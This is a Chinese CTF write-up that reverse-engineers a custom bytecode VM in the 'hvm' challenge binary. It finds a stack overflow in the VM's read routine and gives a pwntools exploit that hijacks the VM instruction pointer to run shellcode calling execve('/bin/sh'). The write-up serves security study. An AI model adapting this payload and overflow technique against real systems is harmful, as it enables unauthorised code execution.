【CTF-PWN】HVM

作者: Kirin_say | 来源:发表于2018-09-23 16:45 被阅读3次

    0x01 程序分析

    题目有两个文件:

    hvm
    hvmbin
    

    猜测是存在vm保护
    先运行程序(hvm中open('/hvmbin'),需要将hvmbin放入根目录下):

    ./hvm                 
    hello               
    Kirin_say                  
    bye 
    

    程序过程:

    输出"hello"
    接收输入
    输出"bye"
    

    初步猜测第二步输入因为长度问题造成栈溢出:

    ./hvm
    hello
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    段错误 (核心已转储)
    

    main

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      int fd; // ST04_4
    
      set_up();
      fd = open("/hvmbin", 0);
      read(fd, buf, 0xFA0uLL);
      vm_handle();
      return 0LL;
    }
    

    set_up

    unsigned __int64 set_up()
    {
      unsigned __int64 v0; // ST08_8
    
      v0 = __readfsqword(0x28u);
      setbuf(stdin, 0LL);
      setbuf(stdout, 0LL);
      setbuf(stderr, 0LL);
      buf = mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
      qword_2020E0 = (__int64)mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
      memset(buf, 0, 0x2000uLL);
      qword_202100 = (__int64)buf;
      qword_2020B8 = qword_2020E0 + 4096;
      qword_2020D0 = qword_2020E0 + 4096;
      alarm(0x1Eu);
      return __readfsqword(0x28u) ^ v0;
    }
    

    首先nop掉alarm以便调试
    可以看到
    程序利用mmap分配两段内存分别作为vm代码段和vm栈段

    代码段:buf = mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
    栈段:qword_2020E0 = (__int64)mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
    

    vm_handle

    程序在main中:

    fd = open("/hvmbin", 0);
    read(fd, buf, 0xFA0uLL);
    

    将hvmbin文件写入buf代码段
    而后在vm_handle中:

    .text:0000559BC2092AA4                 push    rbp
    .text:0000559BC2092AA5                 mov     rbp, rsp
    .text:0000559BC2092AA8                 push    rbx
    .text:0000559BC2092AA9                 sub     rsp, 48h
    .text:0000559BC2092AAD                 mov     rax, fs:28h
    .text:0000559BC2092AB6                 mov     [rbp+var_18], rax
    .text:0000559BC2092ABA                 xor     eax, eax
    .text:0000559BC2092ABC                 mov     rax, cs:vm_ip
    .text:0000559BC2092AC3                 mov     eax, [rax]
    .text:0000559BC2092AC5                 mov     [rbp+var_50], eax
    .text:0000559BC2092AC8                 jmp     loc_559BC20931AE ; jumptable 0000000000000AF9 default case
    

    通过vm_ip读取buf中的指令
    而后:

    .text:0000559BC2092ACD                 cmp     [rbp+var_50], 1Ah ; switch 27 cases
    .text:0000559BC2092AD1                 ja      loc_559BC20931AE ; jumptable 0000000000000AF9 default case
    .text:0000559BC2092AD7                 mov     eax, [rbp+var_50]
    .text:0000559BC2092ADA                 lea     rdx, ds:0[rax*4]
    .text:0000559BC2092AE2                 lea     rax, off_559BC20932D4
    .text:0000559BC2092AE9                 mov     eax, [rdx+rax]
    ......
    

    通过switch不断解析这些指令,最终实现程序
    vm_handle伪代码分析:

    unsigned __int64 vm_handle()
    {
      unsigned int v0; // ST20_4
      int v1; // ST1C_4
      _DWORD *v2; // rbx
      _DWORD *v3; // rbx
      unsigned __int64 result; // rax
      int v5; // [rsp+0h] [rbp-50h]
      unsigned __int64 v6; // [rsp+38h] [rbp-18h]
      __int64 savedregs; // [rsp+50h] [rbp+0h]
    
      v6 = __readfsqword(0x28u);
      v5 = *(_DWORD *)vm_ip;
    LABEL_26:
      while ( v5 )
      {
        switch ( (unsigned int)&savedregs )
        {
          case 1u:
            vm_ip += 4LL;                           // mov rax,n
            vm_rax = (signed int)convert(*(_DWORD *)vm_ip);
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 2u:
            vm_ip += 4LL;                           // mov rbx,n
            vm_rbx = (signed int)convert(*(_DWORD *)vm_ip);
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 3u:
            vm_ip += 4LL;                           // mov rcx,n
            vm_rcx = (signed int)convert(*(_DWORD *)vm_ip);
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 4u:
            vm_ip += 4LL;                           // mov rdx,n
            vm_rdx = (signed int)convert(*(_DWORD *)vm_ip);
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 5u:
            vm_ip += 4LL;                           // jmp 4*n
            vm_ip += 4LL * (signed int)convert(*(_DWORD *)vm_ip);
            v5 = *(_DWORD *)vm_ip;
            break;
          case 6u:
            v0 = *(_DWORD *)vm_rsp;                 // ret 4*(n+3)
            vm_rsp += 4LL;
            vm_ip = (__int64)vm_base_addr + 4 * ((signed int)convert(v0) + 3LL);
            v5 = *(_DWORD *)vm_ip;
            break;
          case 7u:
            vm_ip += 4LL;                           // push n
            v1 = *(_DWORD *)vm_ip;
            vm_rsp -= 4LL;
            *(_DWORD *)vm_rsp = v1;
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 8u:
            vm_rax = vm_rsp;                        // mov rax,rsp
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 9u:                                  // mov rbx,rsp
            vm_rbx = vm_rsp;
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0xAu:
            vm_rcx = vm_rsp;                        // mov rcx,rsp
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0xBu:
            vm_rdx = vm_rsp;                        // mov rdx,rsp
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0xCu:                                // mov rsi,rsp
            vm_rsi = vm_rsp;
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0xDu:
            vm_rdi = vm_rsp;                        // mov rdi,rsp
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0xEu:                                // syscall
            __asm { syscall; LINUX - }
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0xFu:
            vm_ip += 4LL;                           // sub rsp,(n/4)*4
            vm_rsp -= 4LL * ((signed int)convert(*(_DWORD *)vm_ip) / 4);
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0x10u:
            vm_rsp -= 4LL;                          // push rbp
            v2 = (_DWORD *)vm_rsp;
            *v2 = convert((vm_rbp - vm_stack) >> 2);
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0x11u:                               // mov rbp,rsp
            vm_rbp = vm_rsp;
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0x12u:
            vm_rsp = vm_rbp;                        // mov rsp,rbp
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0x13u:                               // pop rbp
            vm_rbp = 4LL * (signed int)convert(*(_DWORD *)vm_rsp) + vm_stack;
            vm_rsp += 4LL;
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0x14u:
            vm_rsp -= 4LL;                          // push ip
            v3 = (_DWORD *)vm_rsp;
            *v3 = convert((vm_ip - (signed __int64)vm_base_addr) >> 2);
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0x18u:
            vm_ip += 4LL;                           // mov rdi,n
            vm_rdi = (signed int)convert(*(_DWORD *)vm_ip);
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          case 0x19u:
            exit(0);                                // exit(0)
            return result;
          case 0x1Au:
            vm_ip += 4LL;                           // mov rsi,n
            vm_rsi = (signed int)convert(*(_DWORD *)vm_ip);
            vm_ip += 4LL;
            v5 = *(_DWORD *)vm_ip;
            break;
          default:
            goto LABEL_26;
        }
      }
      return __readfsqword(0x28u) ^ v6;
    }
    

    其中调用syscall会将虚拟寄存器ax,bx,cx,dx,si,di传入真实寄存器:

    .text:000056544247EE9A mov     rax, cs:vm_rax                  ; jumptable 0000000000000AF9 case 14
    .text:000056544247EEA1 mov     rbx, cs:vm_rbx
    .text:000056544247EEA8 mov     rcx, cs:vm_rcx
    .text:000056544247EEAF mov     rdx, cs:vm_rdx
    .text:000056544247EEB6 mov     rsi, cs:vm_rsi
    .text:000056544247EEBD mov     rdi, cs:vm_rdi
    .text:000056544247EEC4 syscall        
    

    最后对照hvmbin解析后得到程序过程:

    push "o\n\x00\x00"
    push 'hell'
    mov rsi,rsp
    mov rdi,1
    mov rdx,6
    mov rax,1
    syscall
    push rip 
    jmp 4*14
    push 0
    push 'bye\n'
    mov rsi,rsp
    mov rdi,1
    mov rdx,6
    mov rax,1
    syscall
    exit
    
    (jmp 4*14:)
    push rbp
    mov rsp,rbp
    sub rsp,0x30
    mov rsi,rsp
    mov rdi,0
    mov rdx,0xf0
    mov rax,0
    syscall
    mov rsp,rbp
    pop rbp
    ret (vm_base_addr+4*(off+3))
    

    0x02 漏洞

    可以看到第二步接收输入过程:

    push rbp
    mov rsp,rbp
    sub rsp,0x30
    mov rsi,rsp
    mov rdi,0
    mov rdx,0xf0
    mov rax,0
    syscall
    mov rsp,rbp
    pop rbp
    ret (vm_base_addr+4*(off+3))
    

    其允许我们输入最大0xf0长度的数据,从而造成了溢出
    且在这里call的实现:

    push eip
    jmp ...
    

    且入栈的eip为相对于vm_base_addr的偏移(且这里视为符号数):

    vm_ip = (__int64)vm_base_addr + 4 * ((signed int)convert(v0) + 3LL)
    

    而且这里虚拟代码段和栈段是通过两次连续的 mmap 得到的内存
    其是连续的,故而其地址相对关系是固定的,因此可以通过覆盖偏移来劫持eip,最终跳转到读入的shellcode

    sub rsp,0x38    ; 我们开始输入"/bin/sh","sub rsp,0x38"使rsp指向"/bin/sh"
    mov rdi,esp
    mov rdx,0
    mov rsi,0
    mov rax,0x3b
    syscall
    

    对应到vm中的实现为:

    payload=p32(0x0f)+p32(0x38000000)
    payload+=p32(0x0d)
    payload+=p32(4)+p32(0)
    payload+=p32(0x1a)+p32(0)
    payload+=p32(1)+p32(0x3b000000)
    payload+=p32(0xe)
    payload = payload.ljust(0x30,'\x00')  //缓冲区大小:0x30
    

    填充完缓冲区,需要确定覆盖的bp与ip:
    首先覆盖过程中保持bp不变,防止程序崩溃(直接覆盖为程序原来此处的bp即可):
    需要注意存在convert函数:

    __int64 __fastcall convert(unsigned int a1)
    {
      return (a1 << 24) + ((a1 << 8) & 0xFF0000) + (((signed int)a1 >> 8) & 0xFF00) + (a1 >> 24);
    }
    

    这里是为了实现Little-Endian与Big-Endian之间的转换
    所以求出所要覆盖数据时,注意在这里需要转换成Big-Endian

    payload+=flat(0x400,word_size=32,endianness='big')
    

    在第二步返回时下断点,用当前数据列出关系式,解出需要覆盖的ip:

    vm_base_addr + 4 * ((signed int)convert(v0) + 3LL)=00007FBAF8709FC8
    即:
    7FBAF870B000 + 4 * ((signed int)convert(v0) + 3LL)=00007FBAF8709FC8
    

    解出,需要覆盖为:

    flat(-0x411,word_size=32,endianness='big')  
    

    0x03 EXP

    from pwn import *
    
    
    #context.log_level = 'debug'
    p=process("./hvm")
    p.recvuntil("hello\n")
    payload="/bin/sh\x00"
    payload+=p32(0x0f)+p32(0x38000000)
    payload+=p32(0x0d)
    payload+=p32(4)+p32(0)
    payload+=p32(0x1a)+p32(0)
    payload+=p32(1)+p32(0x3b000000)
    payload+=p32(0xe)
    payload = payload.ljust(0x30,'\x00')+flat(0x400,-0x411,word_size=32,endianness='big')
    p.sendline(payload)
    p.interactive()
    

    相关文章

      网友评论

        本文标题:【CTF-PWN】HVM

        本文链接:https://www.haomeiwen.com/subject/svufoftx.html